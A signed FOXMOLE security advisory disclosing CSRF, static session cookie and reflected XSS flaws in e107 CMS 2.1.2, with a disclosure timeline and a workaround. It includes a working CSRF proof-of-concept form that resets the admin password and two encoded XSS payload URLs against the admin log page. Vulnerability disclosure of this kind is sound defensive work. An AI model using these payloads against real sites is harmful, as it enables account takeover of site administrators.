-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 === FOXMOLE - Security Advisory 2016-05-02 === e107 Content Management System (CMS) - Multiple Issues ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Affected Versions ================= e107 2.1.2 Bootstrap CMS Issue Overview ============== Vulnerability Type: Multiple Vulnerabilities Technical Risk: medium Likelihood of Exploitation: medium Vendor: e107 Vendor URL: http://www.e107.org Credits: FOXMOLE employee Tim Herres Advisory URL: https://www.foxmole.com/advisories/foxmole-2016-05-02.txt Advisory Status: Public CVE-Number: NA OVE-ID:OVE-20160817-0002 OVI-ID: OVI-2016-8145 CWE-ID: CWE-80 CVSS 2.0: 3.5 (AV:N/AC:M/Au:S/C:N/I:P/A:N) Impact ====== During internal research, multiple vulnerabilities in the e107 CMS were identified. The identified CSRF vulnerability can be used by an attacker to gain administrative access to the system by tricking an administrative user to activate a special crafted web form. Furthermore the application uses a static session cookie. The cookie grants the attacker full access to the system. Issue Description ================= The following vulnerabilities are only examples. It is highly recommended to check the whole application for similar vulnerabilities. 1) No Protection against Cross Site Request Forgery (CSRF) Attacks A possible CSRF attack form, which changes the user settings from an user in this case admin (uid=1), if the corresponding user activates it. POC: <html> <body> <form action="http://IP/usersettings.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="loginname" value="admin" /> <input type="hidden" name="email" value="admin@something.de" /> <input type="hidden" name="realname" value="Max" /> <input type="hidden" name="password1" value="Test123456" /> <input type="hidden" name="password2" value="Test123456" /> <input type="hidden" name="hideemail" value="0" /> <input type="hidden" name="image" value=" " /> <input type="hidden" name="class[]" value="+1" /> <input type="hidden" name="signature" value="[html]<p></p>[/html]" /> <input type="hidden" name="updatesettings" value="Save settings" /> <input type="hidden" name="_uid" value="1" /> <input type="submit" value="Submit request" /> </form> </body> </html> 2) Static Session Cookie After a successful login the received Cookie issued by the application server "SITENAME_Cookie=" is ever the same. This means if an attacker gets access to the cookie he is able to use it like the related password. 3) Reflected XSS Multiple Reflected XSS in the backend. Examples: http://host/e107_admin/admin_log.php?searchquery=&filter_options=dblog_type__0&etrigger_filter=asd&from=0&mu7a3%2522%253e%253cscript%253ealert%25285%2529%253c%252fscript%253eejc48=1 http://host/e107_admin/admin_log.php?from=10&y3r2a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253emwxva=1 The whole application should be reviewed for further vulnerabilities. Temporary Workaround and Fix ============================ FOXMOLE advises to disable the application until the vendor publishes a complete fix. History ======= 2016-05-02 Issue discovered 2016-08-19 Vendor contacted 2016-08-20 Vendor response: vulnerabilities will be fixed in the next release 2016-11-30 Advisory released GPG Signature ============= This advisory is signed with the GPG key of the FOXMOLE advisories team. The key can be downloaded here: https://www.foxmole.com/advisories-key-3812092199E3277C.asc -----BEGIN PGP SIGNATURE----- iQIzBAEBCAAdFiEEjrQMZqTYqiY2IftqOBIJIZnjJ3wFAlg/AsAACgkQOBIJIZnj J3yD6hAAmwN+phmRFQmd9rbkuXqQeEAcPSxXEWEejpIm89jMXX4k6wu8qFzXL1ys wuvLG+FnYaOp8pxZ0ZcVDocuuYBE+iRaMPugUxLCz4dxv9vUOVH0esAwJ/roB0U/ g/bt7KcI0bnwaPSHZTnEGRtBwHPwu6OLavvxHMtiAtLg6uc9Acs7CSDO7iKTl3K0 TMLWtPCV23knlLTmuAwXsSzONI7dexunHqLjcX5nZmfP4d3li7qYylc2EhFSWzx8 ITFKJS0TMvDl6L0Q5/4pCivz4FCl4G3EeWn3lNRjLnS2mfbdctza+tE/uqk0eW7o 4aFVgLOSu96gjgZUGEaphRjrZ5V4jXsMKsgf/C8N7xL3UzQTBMfSY+fFVXst9zNX zspHauH6qy99H+mDOYjuQneuSgK4dOmGS+xwp5NVKBNSgHq/uWt5VFW042ygrz9S sm40sm035rjkDPd3ZBvU8v1/xHZ/QKHXNgzDI8K2zdqQ3n9UqFuhuHGTjOfMUSof 0N+vWo11CkPtkHgOjYmXKTqXFYtdNHii8aDcvXGjoZuQT1XT70LwoCVgkfoPInYK q8sssBpjXp6BbFovwAEyk8G4EyTWc0bCNhvBI2M7zTtRRSP0BrZUH4wHWqsI8wf5 xblT2C5S7L3ireVOj7GDGj2Edmh7Murv1EGRmUJ8F7rI/bO05Kw= =EC4u -----END PGP SIGNATURE-----